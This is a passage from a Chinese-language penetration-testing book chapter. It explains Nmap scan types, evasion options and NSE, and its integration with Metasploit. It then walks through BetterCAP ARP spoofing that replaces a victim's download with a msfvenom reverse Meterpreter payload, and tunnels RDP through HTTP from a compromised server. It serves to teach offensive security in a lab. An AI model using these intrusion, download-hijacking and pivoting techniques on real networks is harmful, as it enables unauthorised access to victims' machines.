NULL 扫描(-sN)不会设置任何标志;也就是说,保留位全部为零。FIN 扫描(-sF)只设置 FIN 位。Xmas 扫描(-sX)一次性设置 FIN(优雅地关闭连接)、PSH(立即将数据推送到应用程序)和 URG(某些或所有有效负载应优先处理)位——这种情况在合法上下文中是不可能发生的。这使得数据包像圣诞树一样亮起。Maimon 扫描(-sM)类似于 Xmas 扫描,只是它设置了 FIN/ACK。

现在,让我们从理论中跳出来,回到实际操作——这些扫描有用吗?为了回答这个问题,请记住这种技术的主要含义:它仅对那些严格执行 RFC 规范的 TCP 堆栈有意义。如果你的软件没有默默地丢弃这些奇怪的包,没人会作为 RFC 警察敲你家门。一个显著的例子是 Windows 操作系统OS),它会在收到这些无聊的包时,不管端口状态如何,发送一个 RST(强制断开连接)。一些基于 BSD 的系统在端口开放时,会丢弃 Maimon 包而不是 RST,这就造成了一个少见的场景,在这种场景下该扫描类型是有意义的。就我个人而言,我很少使用这些扫描。

TCP ACK 扫描 (-sA)

类似地,ACK 扫描利用了堆栈如何应对异常的细微差别:只有 ACK 标志被设置。接收到此类包的端口将返回一个 RST,无论其状态如何——因此,这种方法不能用来判断端口状态。如果我们收到 RST,我们就知道消息已经到达目标。这样,它就成为一种相对隐蔽的方式来绘制防火墙的漏洞。

僵尸扫描 (-sI)

现在,我们要讨论我最喜欢的扫描类型:闲置僵尸扫描。它实际上是隐蔽的——你完全不需要向目标发送任何数据。唯一的限制类似于之前讨论的关于不同系统设计的问题——闲置僵尸扫描需要一个符合 IP 包递增规则的主机。让我们更深入地探讨一下这个理论。假设我向一个开放端口的主机发送一个 SYN 包。该主机会回复一个 SYN-ACK,并等待我们发送最终的 ACK。现在,假设我向该主机的一个关闭端口发送 SYN 包。它会愤怒地回送一个 RST,我就知道该端口无法进行连接。我们再回顾一遍,但这次,我将在 SYN 请求中伪造返回地址——即僵尸主机的地址。那个开放端口会回复 SYN-ACK 并将其发送到伪造的地址,而不是我的地址。我们也可以对关闭端口进行相同的操作:我们的目标会回送一个 RST,但同样,这个 RST 是发送到伪造的地址。我们永远也不会收到回复。

闲置僵尸扫描的妙处在于它同时利用了 TCP 如何根据 RFC 处理异常的特性(如前所述),以及网络上每个包都有一个碎片 ID 号这一事实。我们考虑以下几种情况:

  • 僵尸主机运行的操作系统仅仅递增它发送的每个碎片 ID 号。

  • 僵尸主机确实是闲置的。

  • 当僵尸主机接收到未经请求的 SYN/ACK 时,它的 TCP 堆栈会按预期行为作出反应:发送一个 RST 响应,而未经请求的 RST 则被忽略

僵尸扫描通过 ping 监控僵尸主机,并精确跟踪递增的情况,同时向目标发送精确时机的伪造 SYN 包。这个过程真是美不胜收。

说到这些,这种攻击有多实际呢?今天的挑战是找到真正空闲的僵尸。这样的分析需要对僵尸在扫描期间发送的任何数据包与我们的扫描相关有足够的信心——很难拥有这种信心。另一个问题是,僵尸栈对 RST 的响应有多忠实;如果它会对每个接收到的无请求消息发送 RST 返回到我们的目标,我们就无法推断出任何信息。

端口扫描 – 端口状态

第九章《PowerShell 基础》中,我们将用 PowerShell 构建一个基本的端口扫描器。尽管它非常实用,但你会注意到它只能判断端口是开放还是关闭,而不能进一步区分结果。Nmap 会将端口状态报告为六种状态之一。前三种是大多数枚举操作中最常见的状态,而后面三种则是根据不同扫描技术的特殊响应:

  • 开放:顾名思义,报告的端口正在积极接收连接请求;也就是说,目标上的某个服务正在运行并且可供客户端使用。

  • 关闭:这是 Nmap 报告的粒度开始显现的地方。假设在一个目标上,某个端口没有被任何包过滤机制阻塞,但该端口上没有任何服务在运行。现在,假设在另一个目标上,我们无法判断是否有服务,因为有一个活跃的过滤机制在起作用。你常见的端口扫描无法区分这些情况——Nmap 可以。关闭就是前者的情况——端口是可访问的并且可以响应探针,但没有服务存在。下一个状态是过滤机制开始发挥作用的地方。

  • 已过滤:现在,Nmap 已经确定有某种机制阻止了我们的探针到达此端口,无论是基于网络的防火墙、主机防火墙,还是某种路由规则。

  • 未过滤:这是来自 ACK 扫描的一种特殊结果,表明端口是可访问的,但 Nmap 无法确定其状态。其他扫描类型可以解决这种模糊性。缩小可能需要 resort 到 SYN 扫描的端口,有助于提高隐蔽性。

  • 开放|过滤:这应以简单明了的英文理解为“open or filtered”。这是某些扫描类型的特殊结果,表示 Nmap 无法确定端口是开放的还是被过滤的,尤其在执行预期没有响应的开放端口扫描时。例如,考虑我们之前讨论的 UDP 扫描。UDP 是无连接的,因此一个开放的 UDP 端口可能不会对我们的探测作出响应。另一个例子是 NULL 扫描或圣诞扫描,它们依赖于 RFC 规定的只丢弃接收到的异常数据包的行为——Nmap 预期这些开放端口不会有响应。自然而然地,这就让我们产生了疑问,"我们怎么知道是不是有防火墙悄悄丢弃了我们的数据包,而且根本没有到达端口?" 这就是 Nmap 告诉你“open or filtered”的原因。

  • 关闭|过滤:就像之前的情况一样,不过是“closed”而不是“open”——Nmap 无法判断目标端口是否真正关闭,还是只是被过滤了。这里的特殊情况是空闲僵尸扫描。回想一下,如果我们的探测命中目标的开放端口,目标会回应 SYN/ACK 并将其发送到僵尸。僵尸并不期望从目标收到 SYN/ACK,因此会回应一个 RST 数据包——这样,这个数据包就会增加分段 ID 计数器,Nmap 就会认为端口是开放的。但如果我们的探测命中目标的关闭端口呢?那目标就会发送一个 RST 到僵尸——如果僵尸遵循功能规范,它会忽略目标的 RST 数据包。因此,没有响应,也没有分段 ID 增加。现在,假设由于防火墙的存在,端口无法到达——那么就没有任何数据包能够到达目标,这意味着目标没有理由向僵尸发送任何数据包,从而僵尸也不会发送任何数据包来增加分段 ID。从 Nmap 扫描器监视僵尸的角度来看,无法分辨端口是关闭的还是被过滤的。

现在我们已经为 Nmap 发现、探测以及这些探测的响应打下了坚实的基础,是时候深入探讨 Nmap 的规避检测能力了。

防火墙/IDS 规避、欺骗和性能

“哦,噪音!噪音!噪音!噪音!这是他最讨厌的事!”

–苏斯博士

我们已经涵盖了一些可以用于防火墙或入侵检测系统(IDS)规避的扫描技术:NULL、FIN、Xmas 和 Maimon 扫描。然而,请记住,这个工具相对较老,已经在积极开发多年。Nmap 能够使用的巧妙技巧早已为人所知,因此任何 IDS 都能察觉到有问题。不过,故事并未结束:技术的进步伴随着网络流量的增加。仅仅加载一个简单的网站所需的数据量比以前要大得多,而且有许多正当理由说明某个主机可能会以对黑客来说充满吸引力的方式查询其他主机。这一切最终加起来就是噪音。再加上商业因素:你的客户首先是企业。这也是你存在的全部原因,所以要尊重这一点!商业需求总是与安全需求发生冲突,理想的解决方案是这两者之间的微妙平衡。这对我们在进行 Nmap 分析时意味着什么呢——尝试研究每一项可能的可疑活动根本不可行。因此,防御通常会采用阈值的方法。这里有两个主要视角:你可以迷惑防御者,或者你可以保持低调。

首先,让我们来看看如何迷惑防御者。Nmap 允许你将数据包进行分片(-f),并且你可以精确地定义数据包分片的程度。这里的思路是,对于任何给定的任务,数据包数量如此之多,以至于使得防御者更难筛选它们。请记住,防火墙和主机可以选择将所有分片排队处理——然而,对于大型网络来说,这可能不太实际。我最喜欢制造混乱的方式之一是诱饵选项(-D),它会正常执行扫描活动,但同时生成带有伪造返回地址的数据包。与闲置僵尸扫描不同,我们在这里会收到回传探测数据;然而,防御者也会看到有任何数量的其他主机在扫描它们!为了使这种方法发挥作用,最好的方式是使用处于活动状态的主机,因此请使用你在主机发现阶段获得的 IP 地址。你也可以直接进行传统的源地址欺骗(–S),但正如你可能想象的那样,你是无法获得响应的。然而,这种源地址欺骗在某些情况下可能会有用。例如,假设你能够截获所有流量,这样你依然可以看到响应。另一种有用的源欺骗方法是伪造端口号(-g)。由于疏忽或其他原因,许多防火墙并未限制源端口。你在制造混乱时还可以采取的额外步骤是将自定义数据附加到数据包中(--data 用于十六进制数据,--data-string 用于字符串)。这非常依赖于具体情况,但你可以想象 Nmap 在探测过程中给你带来的强大控制力。

另一种方式是低调行事。任何入侵检测系统都有某种方式来记录触发规则的事件,令人惊讶的是,我们常常能仅凭慢速操作而不被注意到。虽然 Nmap 因其速度而闻名,但有时这恰恰不是你所需要的——不仅仅是为了躲避防御系统。你可能会因为速率限制或网络连接不好而被卡住。Nmap 提供了一些时间控制的选项,提供了定时模板(-T)和定义探测之间时间以及并行化的能力。让我们来看看这些模板,它们为探测之间的时间和并行化的工作方式提供了预定义的值。首先是 paranoid-T0)。顾名思义,它非常慢——每次探测之间需要 5 分钟,并且没有并行化。下一个级别是 sneaky-T1),它在保持隐蔽性的同时更加合理。探测之间的延迟达到 15 秒,但数据包仍然是一个一个地发送。接下来是 polite-T2),它将探测之间的时间增加到 0.4 秒。听起来相当快,但仍然远低于 Nmap 的能力——它之所以叫做“polite”,是因为它不是为了规避检测;它只是对资源比较友好。Nmap 的默认设置叫做 normal-T3,不过你可以省略这个标志来使用相同的设置),此时我们开始并行化探测。aggressive-T4)和 insane-T5)模式在速度至关重要并且你有非常快的网络时非常有用。aggressive 模式适用于评估拥有高速资源的大型组织,但 insane 模式可能更适合测试或演示目的,或者在非常快速的网络上使用。毕竟,工具的作者在称它为“insane”时确实提醒过我们。

服务和操作系统检测

有盲目敲门的做法,也有在门前阅读所有标识的做法。Nmap 不仅仅是确认服务是否存在,它会与服务进行良好的对话,并收集关于服务的信息。在运行过程中,Nmap 会引用一个数据库来解析信息并返回版本信息。你可以调整版本分析的强度--version-intensity),其值范围在 0 到 9 之间。默认值是 7,除非你怀疑有一些晦涩的内容,否则你不需要使用 8 或 9。

类似于帮助 Nmap 解析与服务对话中的版本信息的数据库,Nmap 还拥有一个包含超过 2600 个操作系统指纹的数据库,允许它根据 TCP/IP 堆栈的行为来确定主机操作系统。我们在第二章**,绕过网络访问控制中探讨了这个概念,当时我们使用 p0f 来指纹识别操作系统。它考虑了诸如生存时间、最大报文段大小等因素,以猜测发送这些数据包的操作系统。请记住,这只是一个猜测,因此它的可靠性可能会有所不同。此外,记住,正如我们所学,你可以使用数据库来构建自定义数据包(例如使用 Scapy),Nmap 会说这些数据包来自任何你想要的操作系统。也许它是一个 Windows XP 机器,也许它是一个想要伪装成 XP 的 Linux 机器。

Nmap 脚本引擎(NSE)

如果我必须将 Nmap 简化为仅有的两个核心功能,我会称它为端口扫描器和网络脚本引擎。Nmap 就是在模糊简单的网络测试工具与漏洞扫描器以及渗透测试助手之间的界限。使用 Lua 编程语言,任何人都可以创建脚本,自动化 Nmap,不仅可以执行之前讨论的所有侦查任务,甚至还可以探测和(安全地)利用漏洞。在 Kali 中,前往 /usr/share/nmap/scripts,输入 ls | grep "http" 查看仅针对该协议的可用脚本。

以示例的方式,让我们使用 Nmap 查找不需要身份验证的 VNC 连接。我们将使用 –-script 来调用相关脚本,脚本可以直接从 scripts 文件夹中复制(去掉 .nse 后缀)。然后,以 root 用户身份运行 nmap -–script vnc-brute –p 5900 -–open 192.168.108.0/24 并等待扫描完成:

图 5.1 – 启用 NSE 脚本运行 Nmap

图 5.1 – 启用 NSE 脚本运行 Nmap

如你所见,Nmap 正在完成它的工作——对于每个主机,脚本都会介入并执行它的工作。

使用 Nmap 动手实践

好的,这么多理论——现在,让我们坐下来使用 Nmap。我认为你第一步应该总是运行没有任何参数的 Nmap,这样就会出现帮助屏幕:

图 5.2 – 无参数运行 Nmap

图 5.2 – 无参数运行 Nmap

我这样做是为了帮助我们逐步构建我们的命令。这个帮助屏幕非常棒,它允许我们使用命令行工具,同时提供点餐三道菜的体验。主机发现是蟹饼开胃菜,扫描技术是牛排,服务检测是土豆配菜(或者如果你在控制碳水化合物,可以选择蔬菜),依此类推。让我们先构建我们的场景。

假设我想简单地寻找端口 80 或 443 上的 Web 服务器。我不想先检测哪些服务器在线;我希望扫描整个范围的每个 IP,只是为了确保没有遗漏任何服务器。Web 服务器通常位于几个/24 子网的 10-20 部分;也就是说,在 256 个可能的 IP 地址(从 0 到 255)中,我们的目标 IP 会以 10 到 20 之间的数字结尾。范围从10.10.105.0开始,到10.10.115.255结束。我希望使用半开放扫描,以便应用程序不会记录连接。如果发现服务器,我希望获取版本信息。我希望扫描速度合理,但客户的网络管理员要求我在探测时要“友好”。最后,我希望结果只包括那些已确认开放或可能开放的端口的主机。好了,让我们看看菜单,将目标指定留到最后:

图 5.3 – 确定我们期望的主机发现选项

图 5.3 – 确定我们期望的主机发现选项

我不想确定主机是否在线——我只想进行端口扫描。因此,我的第一个参数是–Pn。现在,我们来看一下扫描技术:

图 5.4 – 确定我们期望的扫描技术

图 5.4 – 确定我们期望的扫描技术

我想要一个半开放扫描,因此选择了–sS。现在,我们来看一下端口指定和服务探测设置:

图 5.5 – 确定我们期望的端口范围和服务探测设置

图 5.5 – 确定我们期望的端口范围和服务探测设置

我知道我的端口是 80 和 443,并且只希望看到已确认开放的端口,因此接下来的命令是–p 80,443 --open。我希望从找到的服务器中获取版本信息,因此添加了–sV

现在,在我们指定目标之前的最后一步是配置时间设置。网络管理员要求我们降低探测强度时,使用的关键词是“友好”,所以我们通过添加–T2来选择礼貌的模板:

图 5.6 – 确定我们期望的时间模板

图 5.6 – 确定我们期望的时间模板

现在,我们必须定义目标 IP 地址。幸运的是,Nmap 允许我们使用更为人性化的方式来定义范围;两个数字之间加一个短横线就能表示一个范围,甚至可以在八位字节内进行定义。所以,我们知道范围从10.10.105.0开始,到10.10.115.255结束。因此,定义为10.10.105-115.255。哦,等等——我们只需要 10 到 20 之间的 10 个地址。所以,定义为10.10.105-115.10-20

将所有内容汇总,查看屏幕上的命令:

图 5.7 – 完整命令,准备执行

图 5.7 – 完整命令,准备执行

你将真正享受到 Nmap 强大功能的地方是在 Metasploit 控制台。我们来看看。

将 Nmap 与 Metasploit 控制台集成

假设你想在 Metasploit 中运行一些辅助模块,并且你想先进行一些主机发现。但这里有个问题 – 你希望符合你条件的已发现主机存在于 Metasploit 的 PostgreSQL 数据库中。别无他法,只需使用 db_nmap,这是与你的数据库直接工作的 Nmap 的具象化版本。

首先,我们需要确保数据库已启动和初始化。如果你还没有这样做,请运行 msfdb init

图 5.8 – 首次配置 Metasploit 的数据库

图 5.8 – 首次配置 Metasploit 的数据库

现在我们已经启动,使用 msfconsole 命令加载 Metasploit。当 msf6 提示出现时,使用 db_status 检查数据库的状态。假设我们准备好了,我可以在 msf6 提示符下直接运行 db_nmap。我只希望 Nmap 输出端口确认打开的主机,因此在这里使用 –-open 标志:

图 5.9 – 在我们的 Metasploit 控制台会话中运行 db_nmap

图 5.9 – 在我们的 Metasploit 控制台会话中运行 db_nmap

一旦我们的扫描完成,一个简单的 hosts 命令将查询数据库中我们捕获的主机。正如你所看到的,有三台主机在端口 5900 上运行 VNC:

图 5.10 – 将 db_nmap 输出输入到数据库中

图 5.10 – 将 db_nmap 输出输入到数据库中

现在,我将使用 use scanner/vnc/vnc_login 命令切换到辅助扫描程序。我将再次运行 hosts 命令,但这次我会传递 –R 来自动填充模块的 RHOSTS 属性!

最后,我可以使用 runexploit 运行这个模块:

图 5.11 – 使用数据库条目设置 RHOSTS 并运行模块

图 5.11 – 使用数据库条目设置 RHOSTS 并运行模块

正如你所想象的那样,让 Nmap 直接与 Metasploit 的数据库配合工作能极大地简化我们的生活。

让我们暂时把注意力从 Nmap 和 Metasploit 转移到一些真正具有侵入性的事情上 – 拦截二进制文件并注入我们自己的内容。

使用 BetterCAP 探索二进制注入

第三章嗅探和欺骗,我们使用 Ettercap 探索定制过滤器,以即时操纵流量。当我们充当中间人时,可能性令人兴奋:我们可以操纵服务器和用户之间的消息,甚至可以交付伪装为其请求文件的可执行文件。BetterCAP 通过允许对此过程进行流畅自动化,使事情变得更好(和更容易)。在这个练习中,我们将为 Windows 目标准备一个恶意可执行文件并称之为setup.exe。然后,我们将设置一个中间人代理攻击,拦截一个安装程序的 HTTP 请求,并将下载的二进制文件无形地替换为我们自己的。稍后在本书中我们将更详细地涵盖这些概念和工具,因此请将其视为高级中间人攻击自定义模块强大功能的介绍。

下载劫持的魔力

现在,拿起一杯热可可,享受一下,而 Phil 爷爷在摇椅上摇摇晃晃,并讲述来自遥远过去(2018 年,第一版出版时)的故事。那时,BetterCAP 是一个 CLI 工具,我们可以在熟悉 Ruby 后调整其基础功能。如今,正如我们在第三章 嗅探和欺骗中看到的那样,BetterCAP 是一个流畅而强大的点-and-click 环境,配备了 HTTP UI 甚至 API。(如果您是脚本编写者并且懂得如何使用 API,您将对 BetterCAP 提供的机会感到兴奋。)该环境允许您管理caplets,这是模块的新名称。在我们的二进制注入练习中,我们将使用download-autopwn caplet。其原理很简单 - 等待请求可执行文件,然后将我们的可执行文件放在其位置。该过程是无缝的 - 我们的载荷通过查询时相同的机制传送,因此我们无需伪装界面或消息。BetterCAP 甚至会帮助我们将可执行文件填充到文件大小以符合要求,特别是当我们的载荷是轻量级连接回归特洛伊木马时,这一点尤为有用。

准备您的环境

如果您不是从第三章 嗅探和欺骗一起加入我们,您需要在 Kali 上安装和运行 BetterCAP。首先,运行apt-get update && apt-get install bettercap进行安装。然后,运行bettercap –caplet http-ui命令。不要忘记默认凭据是user:pass。为其他活动在 root 下打开一个新的 shell 窗口;BetterCAP 将在后台运行并等待您的 HTTP 会话。

使用 Metasploit 创建载荷和连接回来的监听器

当然,您可以用任何您想要的目标文件替换目标文件。对于我们的演示,我们将创建一个负载,旨在连接到我们的 Kali 盒子,那里已经准备好了一个监听器。设置它将使我们对强大的 Metasploit 有更多实际操作的经验。

让我们用 msfvenom 创建我们的负载,这是一个独立的负载生成器。稍后我们将在本书的后面更多地使用 msfvenom。我只会在我已经建立好了想要从目标接收回连的网络上运行命令,所以我将从 ifconfig 命令开始,用来提取需要编码到负载中的回连 IP 地址。在这种情况下,它是 192.168.249.136,所以我将运行以下命令:

图 5.12 – 使用 msfvenom 生成负载

图 5.12 – 使用 msfvenom 生成负载

选项很简单:-p 定义我们的负载,这种情况下是回连的 meterpreter 会话,-f 是文件类型,lhost 是目标将联系的 IP 地址(也就是我们),lport 是端口号(1066 是因为哈斯丁斯战役 – 只是一点小知识)。最后,-o 标志允许我们指定输出的位置。在我们的情况下,BetterCAP 将期望负载被称为 payload.exe,所以我在这里设置了以节省后续步骤。

在我们把不良程序发送到某处之前,我们需要一个等待的监听器。在这里,我们必须启动 msfconsole,输入 use exploit/multi/handler,并设置我们的选项:

图 5.13 – 配置我们的处理程序用于入站连接

图 5.13 – 配置我们的处理程序用于入站连接

LHOST 可以是分配给我们接口的 IP 地址或者零地址。确保 LPORT 与您在负载可执行文件中配置的一致。执行 exploit 并等待我们的 meterpreter 会话回家。现在,我们可以配置和启动 BetterCAP。与此同时,我们的目标 192.168.249.139 正在讨论一个名为 PdaNet 的工具。他计划下载安装程序 PdaNetA5232b.exe。我们的监听器已经准备就绪,所以现在我们可以跳回 BetterCAP 来配置 download-autopwn caplet 并更好地理解它将要做的事情。

和 caplets 亲密接触

一旦您登录到 BetterCAP 控制台,点击顶部的 Caplets 图标,并浏览左侧的列表。一眼看过去,您就会知道这个工具很有趣味性。暂时,点击 download-autopwn。在右侧,您将看到两个文件的内容:download-autopwn.capdownload-autopwn.js。您可以在 CAP 文件中编辑您攻击的参数;JavaScript 代码是操作的实际核心。在这种情况下,我觉得界面不够用户友好,所以我打算在另一个终端窗口用 nano 检查 CAP 文件:

图 5.14 – 审查一个 caplet

图 5.14 – 审查一个 caplet

在我们进行任何更改之前,需要了解这个过程是如何工作的。一旦代理启动,底层机制将按以下阶段进行攻击:

  1. 检查请求的路径以查找任何文件扩展名。

  2. 如果请求的路径包含扩展名,请检查目标操作系统的用户代理数据。

  3. 如果请求来自目标,请检查该系统的目标文件扩展名列表。

  4. 如果我们已配置填充,BetterCAP 会检查我们的负载大小并添加所需的空字节以填满文件。

  5. 现在,BetterCAP 分三步准备响应消息:

    1. Content-Disposition 响应头被设置为附件。这确保了浏览器不会尝试显示响应页面,而是直接将下载推送到浏览器。

    2. Content-Length 头被去除。

    3. 负载字节将成为响应消息的主体。

有趣吧?这比过去的 BetterCAP 下载拦截有了很大的提升。最大的变化是能够通过用户代理数据和正则匹配来定位目标机器。不过,暂时不必担心这些精细调整——默认情况下,它设计为拦截它能看到的所有内容。(注意,我们的 Windows 目标已经定义好了。)因此,调整我们的拦截器就像注释掉适当的行一样简单。我将注释掉除了 Windows 之外的所有内容:

图 5.15 – 在 download-autopwn caplet 中配置目标系统

图 5.15 – 在 download-autopwn caplet 中配置目标系统

现在,我们可以向下滚动到文件扩展名部分。这是一个宝藏,我鼓励你进行一些头脑风暴(比如为 Android 准备的恶意 APK?),但目前我们先注释掉不需要的行:

图 5.16 – 在 download-autopwn caplet 中设置目标文件扩展名

图 5.16 – 在 download-autopwn caplet 中设置目标文件扩展名

我在实验室环境中,所以现在不担心其他文件类型,但请注意,你需要根据实际情况移除(或添加)你需要的内容。最后的关键步骤是启用 ARP 欺骗;这个友好的 caplet 可以为我们处理这个。我们将使用网络探测的结果来配置我们的欺骗工具,因此我将注释掉这一行。

现在,一切准备就绪!让我们保存修改后的缓冲区,并快速查看 BetterCAP 的文件夹布局。BetterCAP 在攻击过程中不会提示你,而是默认你已经相应地准备好了负载——也就是说,你已经将其命名为payload并将其放置在适当的目标文件夹中。让我们运行ls命令查看download-autopwn文件夹:

图 5.17 – Windows 负载子文件夹中的文件列表

图 5.17 – Windows 负载子文件夹中的文件列表

一切都开始有了进展,对吧?注意,通过查看文件大小,可以看出这些并不是真正的 payload。可以把它当作一个模板。所以,在这一点上,我们回到我们的主目录(或者你从msfvenom生成payload.exe的任何地方),并将其移回 Windows payloads 子文件夹:

图 5.18 – 文件列表,确认 payload.exe 的大小

图 5.18 – 文件列表,确认 payload.exe 的大小

再次检查文件大小,我们可以看到我们的 76K 文件已经成功传输了。我们准备开始了,而且正好赶上:192.168.249.139正在回到办公桌上,准备下载这个方便的工具。我们一直坐在工作站上,运行环境探测。找到目标的 IP 地址,点击下拉菜单,选择Add to arp.spoof.targets

图 5.19 – 配置 ARP 欺骗

图 5.19 – 配置 ARP 欺骗

一旦添加目标,BetterCAP 会带你进入 arp.spoof 的配置界面并导入探测到的主机。在这里,你可以添加其他主机(比如网关!)并启用全双工欺骗等功能。我们希望拦截一条向互联网发出的请求,所以我们需要这些选项:

图 5.20 – 配置与网关的全双工 ARP 欺骗

图 5.20 – 配置与网关的全双工 ARP 欺骗

现在,我们可以点击Start arp.spoof,让 BetterCAP 执行任务。你会看到浏览器中弹出漂亮的反馈窗口,同时你也可以在终端看到这些更新。

就这些——我们准备开始了。返回到Caplets标签页,选择download-autopwn,然后点击播放按钮:

图 5.21 – 启动 caplet

图 5.21 – 启动 caplet

此时,我们需要在终端窗口中观察进度。日志告诉我们download-autopwn已经启用,并提醒我们当前的参数。如果我们在钓鱼线上有了反应,我们就能在这里看到。与此同时,我们的目标正在浏览下载的主页,并注意到了 Windows 客户端:

图 5.22 – 在受害者浏览器上浏览文件下载

图 5.22 – 在受害者浏览器上浏览文件下载

与此同时,我们这边收到报告:目标扩展名已被识别,我们的 payload 的原始大小小于请求的文件,因此它被填充起来,伪造的响应已被提供:

图 5.23 – 诱饵和交换已经完成

图 5.23 – 诱饵和交换已经完成

终于,我们可以回到我们的 Metasploit 会话,等待(并希望)我们的 Meterpreter 会话开始:

图 5.24 – 来自目标的新 Meterpreter 会话

图 5.24 – 来自目标的新 Meterpreter 会话

我知道你在想什么 – “Phil,我刚刚在这个我设置的 Windows 10 虚拟机上做了所有这些步骤,结果 Defender 立刻删除了有效载荷。” 说得对;为了演示,我们使用 msfvenom 输出了一个普通的 Meterpreter 有效载荷,这种输出肯定会被杀毒软件拦截。这就是杀毒软件规避技巧的作用,我们将在第十二章Shellcoding – 规避杀毒软件中进行详细讨论。值得注意的是,还涉及到社会工程学的成分:受害者肯定会想,为什么在执行安装程序时,看似什么都没有发生。我们还将在第七章使用 Metasploit 进行高级利用中探讨如何使用 Shellter 进行动态注入,并研究如何创建消息框有效载荷。想象一下,如果显示的是检测到错误 – 请重新下载。令人惊讶的是,这对很多人来说非常有效。

与此同时,我们将探讨一种规避技术,旨在绕过过滤的网络传输数据包。

数据走私 – 通过 HTTPTunnel 躲避防火墙

现在,拿起另一杯热可可,随着爷爷 Phil 给你讲一个 RDP 的童话故事。我们将构建一个假设场景,假设我们幸运地在一个位于防火墙后面的 Linux 服务器上拥有一个入口。该防火墙允许 HTTP 端口 804431433 的访问。你通过其 Web 服务与服务器进行了通信,并发现它正在运行一个存在漏洞的 Apache 服务器。我们通过 PHP 有效载荷攻陷了该服务器,并通过防火墙获得了 Shell。以下是你的额外任务 – 查看下面的有效载荷传送截图,弄清楚漏洞的性质:

图 5.25 – 利用额外积分 – 我们是如何攻陷目标的

图 5.25 – 利用额外积分 – 我们是如何攻陷目标的

这是一个经典漏洞,尽管它已有些年头,但在大型组织的内部网络中仍然很常见。话题有点跑题了 – 让我们回到我们攻陷的 Linux 机器。

我们发现我们的 Linux 服务器能够看到一台我们希望通过远程桌面访问的 Windows 10 机器。我们还发现,端口 1433 并没有在 Linux 机器上提供服务 – 很可能是旧配置遗留下来的痕迹。这很有用,但我们也受到了深度包检查的限制 – 防火墙仅允许 HTTP 流量。看看以下的示意图。黑客该怎么办呢?

图 5.26 – 仅限 HTTP 的防火墙

图 5.26 – 仅限 HTTP 的防火墙

我们已经在 Linux 服务器上获得了 root 权限,因此可以建立一个 HTTP 封装隧道,将我们的两台主机连接起来,然后使用 Linux 服务器联系 Windows 目标的 RDP 端口3389。幸运的是,有一个完美的工具来完成这项工作——HTTPTunnel。在我们的示例中,目标服务器运行的是 Ubuntu,并且 HTTPTunnel 恰好存在于仓库中,因此我们可以进入已攻陷的 Shell,并在两端(我们的 Kali 攻击主机和 Ubuntu 被攻陷的服务器)运行apt-get install httptunnel命令。这将安装两个组件:HTTPTunnel *客户端htc)和 HTTPTunnel *服务器hts)。两端通过端口转发工作——htc将打开一个监听端口并将接收到的数据传递给隧道另一端的hts;然后,hts会将数据转发到我们选择的端口。因此,我们需要在隧道的hts端有一个监听器来接收这些数据。在我们的示例中,我们将使用 SSH,因为它已经在 Ubuntu 服务器上运行。还困惑吗?让我们在继续之前更仔细地看看这个数据流:

图 5.27 – 简化的三点数据流动图

图 5.27 – 简化的三点数据流动图

我们将把 RDP 数据通过本地端口8000交给 HTTPTunnel,传递给运行在远程端口1433的服务器;然后,这些数据会交给本地端口3535上的 SSH 监听器,再通过远程端口3389输出到 Windows 主机上。请注意,唯一的任意端口号是用于本地监听器的;1433是必要的,因为防火墙允许它,3389是远程桌面端口。

一旦我们安装了 HTTPTunnel,我们需要在被攻陷的 Ubuntu 服务器上设置监听器。首先,让我们设置 SSH:

ssh -L 0.0.0.0:3535:192.168.108.173:3389 <user>@127.0.0.1

按顺序,前面的命令在端口3535上设置一个监听器,该端口将被转发到主机192.168.108.173(我们的 Windows 10 目标)的端口3389,并且我们使用本地用户进行身份验证(这可能已经被攻陷,或者你在首次控制时创建了一个)。接下来,让我们看看我们 HTTP 隧道的服务器端:

hts –forward-port 127.0.0.1:3535 1433

按顺序,这个命令告诉hts将数据发送到隧道中出来的地方(本地端口3535,SSH 已准备好)以及打开哪个端口(1433)来接收来自htc的传入连接。

我们可以使用netstatss以及grep等工具检查监听器的状态:

图 5.28 – 在反向 Shell 会话中配置和验证我们的隧道

图 5.28 – 在被攻陷的服务器上使用反向 Shell 会话配置和验证我们的隧道

到目前为止,一切顺利。将数据从我们 HTTP 隧道传递到目标的 RDP 端口的机制已经启动并运行。现在,我们需要启动客户端。回到我们的 Kali 主机,我们必须输入 htc –-forward-port 8000 192.168.108.116:1433 命令。按顺序,这条命令告诉 htc 打开本地端口 8000 并将其发送到 192.168.108.116(我们的被攻陷的 Ubuntu 服务器)上的 1433 端口的 hts 监听器。再次,我们必须验证该端口确实已启动并在监听:

图 5.29 – 在攻击 Kali 主机上配置并验证隧道的客户端

图 5.29 – 在攻击 Kali 主机上配置并验证隧道的客户端

就这样。看起来可能有些不稳定,但现在我们只需将工具指向本地端口 8000,就能连接到 HTTP 仅限访问的防火墙后面的 RDP 服务器:

图 5.30 – 通过 HTTP 隧道进行的 RDP 会话

图 5.30 – 通过 HTTP 隧道进行的 RDP 会话

如果你在自己的实验室里尝试这个,我建议启动 Wireshark 来查看幕后操作。注意到普通的 TCP 标记;我们的 RDP 通道是经过 TLS 加密的,显示加密数据确实被封装在 HTTP 中。此外,注意网络上显示我们仅仅是在与 192.168.108.1161433 端口进行友好对话,而实际上我们是在与 192.168.108.1733389 端口进行桌面会话:

图 5.31 – 我们封装的 RDP 会话的网络视角

图 5.31 – 我们封装的 RDP 会话的网络视角

这种重定向方式提供了极大的机会。稍后在本章中,我们还会讨论将本地的 IPv4 流量发送到远程 IPv6 主机。但首先,让我们先了解基础知识。

黑客与 IPv6

我知道我经常在某些话题上这样说,但深入探讨 IPv6 的细节足以写一本书,所以我必须在这里挑选重点进行讨论。话虽如此,我会介绍一些对进一步研究有用的入门知识。像往常一样,我对 IPv6 的建议是阅读权威的 RFC 文档。RFC 2460 是新版本的最初详细定义和描述,但它多年来一直是一个 草案标准。标准的级别表示所定义技术的成熟度,提议标准 是最不成熟的,互联网标准 则是黄金标准。经过多年的发展,IPv6 已经成为了互联网标准,并且自 2017 年 7 月起通过 RFC 8200(STD 86)正式成为标准。尽管我确实鼓励阅读 RFC 2460,但它现在已经正式废弃。

IPv6 对渗透测试人员来说有两个重要原因 —— 一是(希望最明显的),它是互联网的最新版本,所以你将会看到更多它的应用;二是,像许多新兴的技术一样,IPv6 尚未完全取代其前身,在许多环境中并没有受到相同级别的安全审查。许多管理员甚至没有意识到它已经启用。你只需简单地进行一些探索,就可能获得一些有用的发现,而且不管怎样,你都会提高对这一新协议的认识。

IPv6 地址基本知识

